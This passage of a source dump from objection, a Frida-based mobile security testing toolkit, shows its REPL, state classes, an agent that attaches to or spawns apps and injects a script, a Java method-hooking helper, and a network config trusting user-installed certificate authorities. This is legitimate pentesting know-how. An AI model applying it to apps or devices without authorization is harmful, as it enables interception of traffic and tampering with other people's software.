click.secho(('No help found for: {0}. Either the command '\n                             'does not exist or contains subcommands with help.'\n                             ).format(' '.join(tokens)), fg='yellow')\n                return\n\n            # output the help and leave\n            click.secho(command_help, fg='blue', bold=True)\n            return\n\n        # find an execution method to run\n        token_matches, exec_method = self._find_command_exec_method(tokens)\n\n        if exec_method is None:\n            click.secho('Unknown or ambiguous command: `{0}`. Try `help {0}`.'.format(document), fg='yellow')\n            return\n\n        # strip the command matching tokens and leave\n        # the rest as arguments\n        arguments = tokens[token_matches:]\n\n        # run the method for the command itself!\n        exec_method(arguments)\n\n        app_state.add_command_to_history(command=document)\n\n    def _find_command_exec_method(self, tokens: list) -> tuple:\n        \"\"\"\n            Attempt to find the actual python method to run\n            for the command tokens we have.\n\n            This is done by 'walking' the command dictionary,\n            looking for the deepest 'exec' method definition. We are\n            interested in the number of tokens walked as well, so\n            that the calling command can know how many tokens to\n            strip, sending the rest as arguments to the exec method.\n\n            :param tokens:\n            :return:\n        \"\"\"\n\n        # start with all of the commands we have\n        dict_to_walk = self.commands_repository\n\n        # ... and an empty method to execute\n        exec_method = None\n\n        # keep count of the number of tokens\n        # used in this walk. this will help indicate to\n        # the caller how many tokens should be stripped to\n        # get to the arguments for the command\n        walked_tokens = 0\n\n        for token in tokens:\n\n            # increment the walked tokens\n            walked_tokens += 1\n\n            # check if the token matches a command\n            if token in dict_to_walk:\n\n                # matched a dict for the token we have. we need\n                # to have *all* of the tokens match a nested dict\n                # so that we can extract the final 'exec' key.\n                # if we encounter a key that does not have nested commands,\n                # chances are we are where we need to be to exec a command.\n                if 'commands' not in dict_to_walk[token]:\n\n                    if 'exec' in dict_to_walk[token]:\n                        exec_method = dict_to_walk[token]['exec']\n                        break\n\n                else:\n                    dict_to_walk = dict_to_walk[token]['commands']\n\n            # stop if there is nothing that matches\n            else:\n                break\n\n        return walked_tokens, exec_method\n\n    def _find_command_help(self, tokens: list) -> str:\n        \"\"\"\n            Attempt to find help for a command.\n\n            Just like how the _find_command_exec_method works, this\n            method also walks the command dictionary, searching for\n            the deepest key. The tokens that match form part of a\n            new list, later joined together to pickup the correct\n            help.txt.\n\n            :param tokens:\n            :return:\n        \"\"\"\n\n        # start with all of the commands we have\n        dict_to_walk = self.commands_repository\n        helpfile_name = []\n        user_help = ''\n\n        for token in tokens:\n\n            # check if the token matches a command\n            if token in dict_to_walk:\n\n                # add this token to the helpfile\n                helpfile_name.append(token)\n\n                # if there are subcommands, continue with the walk\n                if 'commands' in dict_to_walk[token]:\n                    dict_to_walk = dict_to_walk[token]['commands']\n\n            # stop if we don't have a token that matches anything\n            else:\n                break\n\n        # once we have the help, load its .txt contents\n        if len(helpfile_name) > 0:\n\n            help_file = os.path.join(os.path.abspath(os.path.dirname(__file__)),\n                                     'helpfiles', '.'.join(helpfile_name) + '.txt')\n\n            # no helpfile... warn.\n            if not os.path.exists(help_file):\n                click.secho('Unable to find helpfile {0}'.format(' '.join(helpfile_name)), dim=True)\n\n                return user_help\n\n            # read the helpfile\n            with open(help_file, 'r') as f:\n                user_help = f.read()\n\n        return user_help\n\n    @staticmethod\n    def handle_reconnect(document: str) -> bool:\n        \"\"\"\n            Handles a reconnection attempt to a device.\n\n            A reconnection means that the current agent will be unloaded\n            and reloaded again.\n\n            :param document:\n            :return:\n        \"\"\"\n\n        if document.strip() in ('reconnect', 'reset', 'reconnect_spawn'):\n            try:\n                from .cli import get_agent\n\n                reconnect_spawn = document.strip() == 'reconnect_spawn'\n                if reconnect_spawn:\n                    click.secho('Performing full-restart...', fg='yellow')\n                    state_connection.spawn = True\n                    state_connection.no_pause = True\n                else:\n                    click.secho('Performing soft-restart...', fg='yellow')\n                    state_connection.spawn = False\n\n                curr_agent = state_connection.agent\n\n                # Cleanup current agent (ignore errors if already destroyed)\n                click.secho('Unloading current agent...', dim=True)\n                try:\n                    if curr_agent.script:\n                        curr_agent.script.unload()\n\n                except (frida.InvalidOperationError, Exception):\n                    pass  # Script already destroyed or detached\n\n                try:\n                    if curr_agent.session:\n                        curr_agent.session.detach()\n                except (frida.InvalidOperationError, Exception):\n                    pass  # Session already detached\n                \n                # Need to clear because destructor will attempt to clear script/session again.\n                curr_agent.script = None\n                state_connection.agent = None\n                state_connection.session = None\n\n                click.secho(f'Re-attaching to {state_connection.name}...', dim=True)\n\n                # Try respawn the agent.\n                new_agent = get_agent()\n                state_connection.agent = new_agent\n                \n                click.secho('Reconnection successful!', fg='green')\n\n            except Exception as e:\n                click.secho(f'Reconnection failed: {e}', fg='red')\n                click.secho('Ensure the application is running and the device is connected.', dim=True)\n\n            return True\n\n        return False\n\n    def run(self, quiet: bool) -> None:\n        \"\"\"\n            Start the objection repl.\n        \"\"\"\n\n        banner = (\"\"\"\n     _   _         _   _\n ___| |_|_|___ ___| |_|_|___ ___\n| . | . | | -_|  _|  _| | . |   |\n|___|___| |___|___|_| |_|___|_|_|\n      |___|(object)inject(ion) v{0}\n\n     Runtime Mobile Exploration\n        by: @leonjza from @sensepost\n\"\"\").format(__version__)\n\n        if not quiet:\n            click.secho(banner, bold=True)\n            click.secho('[tab] for command suggestions', fg='white', dim=True)\n\n        # the main application loop is here, reading inputs provided by\n        # prompt_toolkit and sending it off the needed handlers\n        while True:\n\n            try:\n                with patch_stdout(raw=True):\n                    document = self.session.prompt(self.get_prompt_message())\n\n                    # check if this is an exit command\n                    if document.strip() in ('quit', 'exit', 'bye'):\n                        click.secho('Exiting...', dim=True)\n                        break\n\n                    if document.strip() in ('resume', 'res'):\n                        click.secho('Resuming attached process', dim=True)\n                        state_connection.agent.resume()\n                        continue\n\n                    # if we got the reconnect command, handle just that\n                    if self.handle_reconnect(document):\n                        continue\n\n                    # dispatch to the command handler. if something goes horribly\n                    # wrong, catch it instead of crashing the REPL\n                    try:\n\n                        # find something to run\n                        self.run_command(document)\n\n                    except frida.core.RPCException as e:\n                        click.secho('A Frida agent exception has occurred.', fg='red', bold=True)\n                        click.secho('{0}'.format(e), fg='red')\n                        click.secho('\\nPython stack trace: {}'.format(traceback.format_exc()), dim=True)\n\n                    except Exception as e:\n                        click.secho(('An unexpected internal exception has occurred. If this '\n                                     'looks like a code related error, please file a bug report!'), fg='red', bold=True)\n                        click.secho('{0}'.format(e), fg='red')\n                        click.secho('\\nPython stack trace: {}'.format(traceback.format_exc()), dim=True)\n\n            except KeyboardInterrupt:\n                pass\n\n            except EOFError:\n                click.secho('Exiting...', dim=True)\n                break\n"
  },
  {
    "path": "objection/state/__init__.py",
    "content": ""
  },
  {
    "path": "objection/state/api.py",
    "content": "from ..api.app import create_app\n\n\nclass ApiState(object):\n    \"\"\" A class representing the state API for this app \"\"\"\n\n    def __init__(self):\n        self.core_api = create_app()\n        self.blueprints = []\n\n    def append_api_blueprint(self, blueprint):\n        \"\"\"\n            Add extra blueprints to the API.\n\n            This method would typically be called by the\n            plugin loader to slot in endpoints that plugins\n            may expose.\n\n            :param blueprint:\n            :return:\n        \"\"\"\n\n        self.blueprints.append(blueprint)\n\n    def start(self, host: str, port: int, debug: bool = False):\n        \"\"\"\n            Starts the Flask-based API server after\n            registering any extra blueprints that would\n            typically have been sources from plugins.\n\n            :param host:\n            :param port:\n            :param debug:\n            :return:\n        \"\"\"\n\n        for bp in self.blueprints:\n            self.core_api.register_blueprint(bp)\n\n        self.core_api.run(host=host, port=port, debug=debug)\n\n\napi_state = ApiState()\n"
  },
  {
    "path": "objection/state/app.py",
    "content": "class AppState(object):\n    \"\"\" A class representing generic state variable for this app \"\"\"\n\n    def __init__(self):\n        self.debug_hooks = False\n        self.debug = False\n        self.api_host = '127.0.0.1'\n        self.api_port = 8888\n        self.successful_commands = []\n\n    def add_command_to_history(self, command: str) -> None:\n        \"\"\"\n            Adds a command to the list of successful commands.\n\n            :param command:\n            :return:\n        \"\"\"\n\n        if command not in self.successful_commands:\n            self.successful_commands.append(command)\n\n    def clear_command_history(self) -> None:\n        \"\"\"\n            Clears the list of successful commands recorded\n            for this session.\n\n            :return:\n        \"\"\"\n\n        self.successful_commands = []\n\n    def should_debug_hooks(self) -> bool:\n        \"\"\"\n            Returns if debugging of Frida hooks is needed.\n\n            :return:\n        \"\"\"\n\n        return self.debug_hooks\n\n    def should_debug(self) -> bool:\n        \"\"\"\n\n            Checks if debugging is enabled\n\n            :return:\n        \"\"\"\n\n        return self.debug\n\n\napp_state = AppState()\n"
  },
  {
    "path": "objection/state/connection.py",
    "content": "class StateConnection(object):\n    \"\"\" A class controlling the connection state of a device. \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"\n            Init a new connection state, defaulting to a USB\n            connection.\n        \"\"\"\n\n        self.network = False\n        self.host = None\n        self.port = None\n        self.device_type = 'usb'\n        self.device_id = None\n\n        self.spawn = False\n        self.no_pause = False\n        self.foremost = False\n        self.debugger = False\n\n        self.name = None\n        self.agent = None\n        self.api = None\n        self.uid = None\n\n    def use_usb(self) -> None:\n        \"\"\"\n            Sets the values required to have a USB connection.\n\n            :return:\n        \"\"\"\n\n        self.network = False\n        self.device_type = 'usb'\n\n    def use_network(self) -> None:\n        \"\"\"\n            Sets the values required to have a Network connection.\n\n            :return:\n        \"\"\"\n\n        self.network = True\n        self.device_type = 'remote'\n\n    def get_comms_type(self) -> int:\n        \"\"\"\n            Returns the currently configured connection type.\n\n            :return:\n        \"\"\"\n\n    def get_api(self):\n        \"\"\"\n            Return a Frida RPC API session\n\n            :return:\n        \"\"\"\n\n        if not self.agent:\n            raise Exception('No session available to get API')\n\n        return self.agent.exports()\n\n    def set_agent(self, agent):\n        \"\"\"\n            Sets the active agent to use for communications.\n\n            :param agent:\n            :return:\n        \"\"\"\n\n        self.agent = agent\n\n    def get_agent(self):\n\n        if not self.agent:\n            raise Exception('No Agent available')\n\n        return self.agent\n\n    def __repr__(self) -> str:\n        return f'<State DevSerial: {self.device_id}, Network:{self.network}, Host:{self.host}, Port:{self.port}'\n\n\nstate_connection = StateConnection()\n"
  },
  {
    "path": "objection/state/device.py",
    "content": "class Device(object):\n    \"\"\" Represents a mobile device \"\"\"\n    pass\n\n\nclass Android(Device):\n    \"\"\" Represents Android specific configurations. \"\"\"\n\n    name = 'android'\n    path_separator = '/'\n\n\nclass Ios(Device):\n    \"\"\" Represents iOS specific configurations. \"\"\"\n\n    name = 'ios'\n    path_separator = '/'\n\n\nclass DeviceState(object):\n    \"\"\" A class representing the state of a device and its runtime. \"\"\"\n\n    platform: Device\n    version: str\n\n    def set_version(self, v: str):\n        \"\"\"\n            Set the running OS version\n\n            :param v:\n            :return:\n        \"\"\"\n\n        self.version = v\n\n    def set_platform(self, t: Device):\n        \"\"\"\n            Set's the device type\n\n            :param t:\n            :return:\n        \"\"\"\n\n        self.platform = t\n\n    def __repr__(self) -> str:\n        return f'<Type: {self.platform} >'\n\n\ndevice_state = DeviceState()\n"
  },
  {
    "path": "objection/state/filemanager.py",
    "content": "class FileManagerState(object):\n    \"\"\"  A class representing the state of the filemanager. \"\"\"\n\n    def __init__(self) -> None:\n        self.cwd = None\n\n\nfile_manager_state = FileManagerState()\n"
  },
  {
    "path": "objection/state/jobs.py",
    "content": "import atexit\nfrom random import randint\n\nimport click\nimport frida\n\nfrom objection.state.connection import state_connection\n\n\nclass Job(object):\n    \"\"\"  A class representing a REPL Job or agent Job with one or more hooks. \"\"\"\n\n    def __init__(self, name, job_type, handle, uuid: int = None) -> None:\n        \"\"\"\n            Init a new job. This requires the job_type to know how to manage the job as well as a handle\n            to manage and kill the job.\n\n            :param name:\n            :param job_type:\n            :param handle:\n            :return:\n        \"\"\"\n        if uuid is not None:\n            self.uuid = int(uuid)\n        else:\n            self.uuid = randint(100000, 999999)\n        self.name = name\n        self.job_type = job_type\n        self.handle = handle\n\n    def end(self):\n        \"\"\"\n            Revert hooks that the job created.\n\n            :return:\n        \"\"\"\n        if self.job_type == \"script\":\n\n            click.secho(\"[job manager] Killing job {0}. Name: {1}. Type: {2}\"\n                        .format(self.uuid, self.name, self.job_type), dim=True)\n            self.handle.unload()\n        elif self.job_type == \"hook\":\n            api = state_connection.get_api()\n            api.jobs_kill(self.uuid)\n        else:\n            click.secho(('[job {0}] - Unknown job type {1}'.format(self.uuid, self.job_type)), fg='red', dim=True)\n\n\nclass JobManagerState(object):\n    \"\"\"  A class representing the current Job manager. \"\"\"\n\n    def __init__(self) -> None:\n        \"\"\"\n            Init a new job state manager. This method will also\n            register an atexit(), ensuring that cleanup operations\n            are performed on jobs when this class is GC'd.\n        \"\"\"\n\n        self.jobs: dict[int, Job] = {}\n\n        atexit.register(self.cleanup)\n\n    def add_job(self, new_job: Job) -> None:\n        \"\"\"\n            Adds a job to the job state manager.\n\n            :param new_job:\n            :return:\n        \"\"\"\n\n        # avoid duplicate jobs.\n        if new_job.uuid not in self.jobs:\n            self.jobs[new_job.uuid] = new_job\n\n    def remove_job(self, job_uuid: int):\n        \"\"\"\n            Removes a job from the job state manager.\n\n            :param job_uuid:\n            :return Job:\n        \"\"\"\n        if job_uuid not in self.jobs:\n            click.secho(f\"Error: Job with ID {job_uuid} does not exist.\", fg='red')\n            return\n\n        job_to_remove = self.jobs.pop(job_uuid)\n        job_to_remove.end()\n\n    def cleanup(self) -> None:\n        \"\"\"\n            Clean up all the jobs in the job manager.\n\n            This method is typical called when at the end of an\n            objection session.\n\n            :return:\n        \"\"\"\n\n        for uuid in list(self.jobs.keys()):\n            try:\n                job = self.jobs.pop(uuid)\n                job.end()\n\n            except frida.InvalidOperationError:\n                click.secho(('[job manager] Job: {0} - An error occurred stopping job. Device may '\n                             'no longer be available.'.format(uuid)), fg='red', dim=True)\n\n\njob_manager_state = JobManagerState()\n"
  },
  {
    "path": "objection/utils/__init__.py",
    "content": "import logging\nimport os\nimport threading\n\nimport click\n\nfrom .update_checker import check_version\n\n\nclass MakeFileHandler(logging.FileHandler):\n    \"\"\"\n        Wrapper Class around the builtin Filehandler.\n    \"\"\"\n\n    def __init__(self, filename: str, mode: str = 'a', encoding: str = None, delay: bool = False) -> None:\n        \"\"\"\n            The original FileHandler's init is called, right after the\n            directory used to store the objection logfile is created.\n\n            :param filename:\n            :param mode:\n            :param encoding:\n            :param delay:\n        \"\"\"\n\n        os.makedirs(os.path.dirname(filename), exist_ok=True)\n        logging.FileHandler.__init__(self, filename, mode, encoding, delay)\n\n\ndef new_secho(text: str, **kwargs) -> None:\n    \"\"\"\n        Patch the secho method from the click package so that\n        the text that should be echoed is logged first.\n\n        :param text:\n        :param kwargs:\n        :return:\n    \"\"\"\n\n    logging.info(text)\n    real_secho(text, **kwargs)\n\n\n# Configure the logging used in objection\nlogger = logging.getLogger()\nhandler = MakeFileHandler(os.path.expanduser('~/.objection/objection.log'))\nformatter = logging.Formatter('%(asctime)s %(levelname)-8s\\n%(message)s\\n')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\nlogger.setLevel(logging.DEBUG)\n\n# monkey patch secho to log to file\nreal_secho = click.secho\nclick.secho = new_secho\n\ntry:\n    # kick off a background thread to check the version of objection\n    threading.Thread(target=check_version).start()\nexcept Exception:\n    pass\n"
  },
  {
    "path": "objection/utils/agent.py",
    "content": "import argparse\nimport atexit\nimport json\nimport sys\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom pprint import pprint\n\nimport click\nimport frida\n\nfrom objection.state.app import app_state\nfrom objection.state.connection import state_connection\nfrom objection.state.device import device_state, Ios, Android\nfrom objection.state.jobs import job_manager_state, Job\nfrom objection.utils.helpers import debug_print\n\n\n@dataclass\nclass AgentConfig(object):\n    \"\"\" Default configuration for an Agent instance \"\"\"\n\n    name: str\n    host: str = None\n    port: int = None\n    device_type: str = 'usb'\n    device_id: str = None\n    foremost: bool = False\n    spawn: bool = False\n    pause: bool = True\n    debugger: bool = False\n    uid: int = None\n\n\nclass OutputHandlers(object):\n    \"\"\" Output handlers for an Agent instance \"\"\"\n\n    def device_output(self):\n        pass\n\n    def device_lost(self):\n        pass\n\n    @staticmethod\n    def session_on_detached(message: str, crash):\n        \"\"\"\n            The callback to run for the detach signal\n\n            :param message:\n            :param crash:\n\n            :return:\n        \"\"\"\n\n        try:\n\n            # log the hook response if needed\n            if app_state.should_debug():\n                click.secho('- [incoming message] ' + '-' * 18, dim=True)\n                click.secho(json.dumps(message, indent=2, sort_keys=True), dim=True)\n                click.secho('- [./incoming message] ' + '-' * 16, dim=True)\n\n            # process the response\n            if message:\n                click.secho('(session detach message) ' + message, fg='red')\n\n            # Frida 12.3 crash reporting\n            # https://www.nowsecure.com/blog/2019/02/07/frida-12-3-debuts-new-crash-reporting-feature/\n            if crash:\n                click.secho('(process crash report)', fg='red')\n                click.secho('\\n\\t{0}'.format(crash.report), dim=True)\n\n        except Exception as e:\n            click.secho('Failed to process an incoming message for a session detach signal: {0}'.format(e), fg='red',\n                        bold=True)\n            raise e\n\n    @staticmethod\n    def script_on_message(message: dict, data):\n        \"\"\"\n            The callback to run when a message is received from the agent.\n\n            :param message:\n            :param data:\n\n            :return:\n        \"\"\"\n\n        try:\n            # log the hook response if needed\n            if app_state.should_debug():\n                click.secho('- [incoming message] ' + '-' * 18, dim=True)\n                click.secho(json.dumps(message, indent=2, sort_keys=True), dim=True)\n                click.secho('- [./incoming message] ' + '-' * 16, dim=True)\n\n            # process the response\n            if message and 'payload' in message:\n                if len(message['payload']) > 0:\n                    if isinstance(message['payload'], dict):\n                        click.secho('(agent) ' + json.dumps(message['payload']))\n                    elif isinstance(message['payload'], str):\n                        click.secho('(agent) ' + message['payload'])\n                    else:\n                        click.secho('Dumping unknown agent message', fg='yellow')\n                        pprint(message['payload'])\n\n        except Exception as e:\n            click.secho('Failed to process an incoming message from agent: {0}'.format(e), fg='red', bold=True)\n            raise e\n\n\nclass Agent(object):\n    \"\"\" Class to manage the lifecycle of the objection Frida agent \"\"\"\n\n    agent_path: Path = None\n    c: AgentConfig\n\n    handlers: OutputHandlers\n\n    device: frida.core.Device = None\n    session: frida.core.Session = None\n    script: frida.core.Script = None\n\n    pid: int = None\n    resumed: bool = True\n\n    def __init__(self, config: AgentConfig):\n        \"\"\" initialises the agent class \"\"\"\n\n        self.agent_path = Path(__file__).parent.parent / 'agent.js'\n        if not self.agent_path.exists():\n            raise Exception(f'Unable to locate Objection agent sources at: {self.agent_path}. '\n                            'If this is a development install, check the wiki for more '\n                            'information on building the agent.')\n        debug_print('Agent path is: {path}'.format(path=self.agent_path))\n\n        self.config = config\n        debug_print(f'agent config: {self.config}')\n        self.handlers = OutputHandlers()\n\n        atexit.register(self.teardown)\n\n    def _get_agent_source(self) -> str:\n        \"\"\"\n            Loads the frida-compiled agent from disk.\n\n            :return:\n        \"\"\"\n\n        with open(self.agent_path, 'r', encoding='utf-8') as f:\n            src = f.readlines()\n\n        return ''.join([str(x) for x in src])\n\n    def set_device(self):\n        \"\"\"\n            Set's the target device to work with.\n\n            :return:\n        \"\"\"\n\n        if self.config.device_id is not None:\n            self.device = frida.get_device(self.config.device_id)\n\n        elif (self.config.host is not None) or (self.config.device_type == 'remote'):\n            if self.config.host is None:\n                self.device = frida.get_remote_device()\n            else:\n                host = self.config.host\n                port = self.config.port\n                self.device = frida.get_device_manager() \\\n                    .add_remote_device(f'{host}:{port}' if host is not None else f'127.0.0.1:{port}')\n\n        elif self.config.device_type is not None:\n            for dev in frida.enumerate_devices():\n                if dev.type == self.config.device_type:\n                    self.device = dev\n        else:\n            self.device = frida.get_local_device()\n\n        # surely we have a device by now?\n        if self.device is None:\n            raise Exception('Unable to find a device')\n\n        self.device.on('output', self.handlers.device_output)\n        self.device.on('lost', self.handlers.device_lost)\n\n        debug_print(f'device determined as: {self.device}')\n\n    def set_target_pid(self):\n        \"\"\"\n            Set's the PID we should attach to. This method will spawn the\n            target if needed. The resumed value is also toggled here.\n\n            Defaults:\n                resumed: bool = True\n\n            :return:\n        \"\"\"\n\n        if (self.config.name is None) and (not self.config.foremost):\n            click.secho('Need a target name to spawn/attach to', fg='red')\n            sys.exit(1)\n\n        if self.config.foremost:\n            try:\n                app = self.device.get_frontmost_application()\n            except Exception as e:\n                click.secho(f'Could not get foremost application on {self.device.name}: {e}', fg='red')\n                sys.exit(1)\n\n            if app is None:\n                click.secho(f'No foremost application on {self.device.name}', fg='red')\n                sys.exit(1)\n\n            self.pid = app.pid\n            # update the global state for the prompt etc.\n            state_connection.name = app.identifier\n\n        elif self.config.spawn:\n            if self.config.uid is not None:\n                if self.device.query_system_parameters()['os']['id'] != 'android':\n                    raise Exception('--uid flag can only be used on Android.')\n                self.pid = self.device.spawn(self.config.name, uid=int(self.config.uid))\n            else:\n                try:\n                    self.pid = self.device.spawn(self.config.name)\n                except frida.InvalidArgumentError:\n                    pass\n\n                # Maybe we have an app name and not identifier\n                app_list = self.device.enumerate_applications()\n                app_name_lc = self.config.name.lower()\n\n                matching_app = [app for app in app_list if app.name.lower() == app_name_lc]\n                # Don't care about matching_app[0].pid not in (0, None), if already running we restart anyway.\n                if len(matching_app) == 1:\n                    debug_print(\"Found app by name instead of package, spawning.\")\n                    self.pid = self.device.spawn(matching_app[0].identifier)\n\n            self.resumed = False\n        else:\n            # check if the name is actually an integer. this way we can\n            # assume we got the target PID already\n            try:\n                self.pid = int(self.config.name)\n            except ValueError:\n                pass\n\n            # maybe we have a process name\n            if self.pid is None:\n                try:\n                    self.pid = self.device.get_process(self.config.name).pid\n                except frida.ProcessNotFoundError:\n                    pass\n\n            if self.pid is None:\n                # maybe we have an app identifier/package name\n                app_list = self.device.enumerate_applications()\n                app_name_lc = self.config.name.lower()\n                matching_app = [app for app in app_list if app.identifier.lower() == app_name_lc]\n                if len(matching_app) == 1 and matching_app[0].pid not in (0, None):\n                    debug_print(\"Found app by package name.\")\n                    self.pid = matching_app[0].pid\n                elif len(matching_app) > 1:\n                    app_list_str = ', '.join([f\"{app.identifier}: {app.pid}\" for app in matching_app])\n                    click.secho(\"Ambiguous identifier. Applications with the same identifier found: \"+ app_list_str, fg='red')\n                    sys.exit(1)\n\n        if self.pid is None:\n            click.secho(\"Unable to find target application.\", fg='red', bold=True)\n            sys.exit(1)\n\n        debug_print(f'process PID determined as {self.pid}')\n\n    def attach(self):\n        \"\"\"\n            Attaches to an enumerated PID, injecting the objection agent.\n\n            :return:\n        \"\"\"\n\n        if self.pid is None:\n            raise Exception('A PID needs to be set before attach()')\n\n        if self.config.uid is None:\n            debug_print(f'Attaching to PID: {self.pid}')\n            self.session = self.device.attach(self.pid)\n        else:\n            self.session = self.device.attach(self.pid)\n\n        self.session.on('detached', self.handlers.session_on_detached)\n\n        if self.config.debugger:\n            click.secho('debugger enabled and runtime set to v8. visit chrome://inspect', bold=True)\n            self.script = self.session.create_script(source=self._get_agent_source(), runtime='v8')\n            self.script.enable_debugger()\n        else:\n            self.script = self.session.create_script(source=self._get_agent_source())\n\n        self.script.on('message', self.handlers.script_on_message)\n        self.script.load()\n\n    def attach_script(self, job_name, source):\n        \"\"\"\n            Attaches an arbitrary script session.\n\n            :param job_name:\n            :param source:\n            :return:\n        \"\"\"\n\n        session: frida.core.Session = self.device.attach(self.pid)\n        script: frida.core.Script = session.create_script(source=source)\n        script.on('message', self.handlers.script_on_message)\n        script.load()\n\n        script_job = Job(job_name, 'script', script)\n        job_manager_state.add_job(script_job)\n\n    def update_device_state(self):\n        \"\"\"\n            Updates the device_state. Useful in other parts where we\n            need platform specific decisions.\n\n            :return:\n        \"\"\"\n\n        params = self.device.query_system_parameters()\n\n        # set os platform\n        if params['os']['id'] == 'ios':\n            device_state.set_platform(Ios)\n        elif params['os']['id'] == 'android':\n            device_state.set_platform(Android)\n\n        # set os version\n        device_state.set_version(params['os']['version'])\n\n    def resume(self):\n        \"\"\"\n            Resume the target pid.\n\n            :return:\n        \"\"\"\n\n        if self.resumed:\n            return\n\n        if not self.pid:\n            raise Exception('Cannot resume without self.pid')\n\n        self.device.resume(self.pid)\n        self.resumed = True\n\n    def exports(self):\n        \"\"\"\n            Returns the RPC exports exposed by the Frida agent\n\n            :return:\n        \"\"\"\n\n        if not self.script:\n            raise Exception('Need a script created before reading exports()')\n\n        return self.script.exports_sync\n\n    def run(self):\n        \"\"\"\n            Run the Agent by getting a device, setting the target pid and attaching.\n            If we should skip pausing, also resume the process.\n\n            :return:\n        \"\"\"\n\n        self.set_device()\n        self.set_target_pid()\n        self.attach()\n\n        # internal state\n        self.update_device_state()\n\n        if not self.config.pause:\n            debug_print('asked to run without pausing, so resuming in run()')\n            self.resume()\n\n    def teardown(self):\n        try:\n            if self.script:\n                click.secho('Asking jobs to stop...', dim=True)\n                job_manager_state.cleanup()\n                click.secho('Unloading objection agent...', dim=True)\n                self.script.unload()\n        except frida.InvalidOperationError as e:\n            click.secho(f'Unable to run cleanups: {e}', fg='yellow', dim=True)\n\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('name', help='target app to attach/spawn. needs to be bundle '\n                                     'identifier for spawn')\n    parser.add_argument('--no-spawn', dest='no_spawn', default=True, action='store_false',\n                        help='do not try and spawn the target app')\n    parser.add_argument('--no-pause', dest='no_pause', default=True, action='store_false',\n                        help='resume the app after spawning')\n    parser.add_argument('--debug', default=False, action='store_true', help='print debug logging')\n    args = parser.parse_args()\n\n    if args.name is None:\n        print('error: need a target app to attach/spawn')\n        sys.exit(1)\n\n    if args.debug:\n        app_state.debug = True\n\n    c = AgentConfig(name=args.name, spawn=args.no_spawn, pause=args.no_pause)\n    a = Agent(config=c)\n    a.run()\n\n    print(a.exports().env_frida())\n"
  },
  {
    "path": "objection/utils/assets/javahookmanager.js",
    "content": "// Frida Java hooking helper class.\n//\n// Edit the example below the HookManager class to suit your\n// needs and then run with:\n//  frida -U \"App Name\" -l objchookmanager.js\n//\n// Generated using objection:\n//  https://github.com/sensepost/objection\n\nclass JavaHookManager {\n\n  // create a new Hook for clazzName, specifying if we\n  // want verbose logging of this class' internals.\n  constructor(clazzName, verbose = false) {\n    this.printVerbose(`Booting JavaHookManager for ${clazzName}...`);\n\n    this.target = Java.use(clazzName);\n    // store hooked methods as { method: x, replacements: [y1, y2] }\n    this.hooking = [];\n    this.available_methods = [];\n    this.verbose = verbose;\n    this.populateAvailableMethods(clazzName);\n  }\n\n  printVerbose(message) {\n    if (!this.verbose) { return; }\n    this.print(`[v] ${message}`);\n  }\n\n  print(message) {\n    console.log(message);\n  }\n\n  // basically from:\n  //  https://github.com/sensepost/objection/blob/fa6a8b8f9b68d6be41b51acb512e6d08754a2f1e/agent/src/android/hooking.ts#L43\n  populateAvailableMethods(clazz) {\n    this.printVerbose(`Populating available methods...`);\n    this.available_methods = this.target.class.getDeclaredMethods().map((method) => {\n      var m = method.toGenericString();\n\n      // Remove generics from the method\n      while (m.includes(\"<\")) { m = m.replace(/<.*?>/g, \"\"); }\n\n      // remove any \"Throws\" the method may have\n      if (m.indexOf(\" throws \") !== -1) { m = m.substring(0, m.indexOf(\" throws \")); }\n\n      // remove scope and return type declarations (aka: first two words)\n      // remove the class name\n      // remove the signature and return\n      m = m.slice(m.lastIndexOf(\" \"));\n      m = m.replace(` ${clazz}.`, \"\");\n\n      return m.split(\"(\")[0];\n\n    }).filter((value, index, self) => {\n      return self.indexOf(value) === index;\n    });\n\n    this.printVerbose(`Have ${this.available_methods.length} methods...`);\n  }\n\n  validMethod(method) {\n    if (!this.available_methods.includes(method)) {\n      return false;\n    }\n    return true;\n  }\n\n  isHookingMethod(method) {\n    if (this.hooking.map(element => {\n      if (element.method == method) { return true; }\n      return false;\n    }).includes(true)) {\n      return true;\n    } else {\n      return false;\n    };\n  }\n\n  hook(m, f = null) {\n    if (!this.validMethod(m)) {\n      this.print(`Method ${m} is not valid for this class.`);\n      return;\n    }\n    if (this.isHookingMethod(m)) {\n      this.print(`Already hooking ${m}. Bailing`);\n      return;\n    }\n\n    this.printVerbose(`Hookig ${m} and all overloads...`);\n\n    var r = [];\n    this.target[m].overloads.forEach(overload => {\n      if (f == null) {\n        overload.replacement = function () {\n          return overload.apply(this, arguments);\n        }\n      } else {\n        overload.implementation = function () {\n          var ret = overload.apply(this, arguments);\n          return f(arguments, ret);\n        }\n      }\n\n      r.push(overload);\n    });\n\n    this.hooking.push({ method: m, replacements: r });\n  }\n\n  unhook(method) {\n    if (!this.validMethod(method)) {\n      this.print(`Method ${method} is not valid for this class.`);\n      return;\n    }\n    if (!this.isHookingMethod(method)) {\n      this.print(`Not hooking ${method}. Bailing`);\n      return;\n    }\n\n    const hooking = this.hooking.filter(element => {\n      if (element.method == method) {\n        this.printVerbose(`Reverting replacement hook from ${method}`);\n        element.replacements.forEach(r => {\n          r.implementation = null;\n        });\n        return; // effectively removing it\n      }\n      return element;\n    });\n\n    this.hooking = hooking;\n  }\n}\n\n// SAMPLE Usage:\n\n// var replace = function(args, ret) {\n//   // be sure to check the args, you may have an overloaded method\n//   console.log('Hello from our new function body!');\n//   console.log(JSON.stringify(args));\n//   console.log(ret);\n\n//   return ret;\n// }\n\n// Java.perform(function () {\n//   const hook = new JavaHookManager('okhttp3.Request');\n//   hook.hook('header', replace);\n//   // hook.unhook('header');\n// });\n"
  },
  {
    "path": "objection/utils/assets/network_security_config.xml",
    "content": "<?xml version=\"1.0\"?>\n<network-security-config>\n    <base-config>\n        <trust-anchors>\n            <!-- Trust preinstalled CAs -->\n            <certificates src=\"system\"/>\n            <!-- Additionally trust user added CAs -->\n            <certificates src=\"user\"/>\n        </trust-anchors>\n    </base-config>\n</network-security-config>\n"
  },
  {
    "path": "objection/utils/assets/objchookmanager.js",
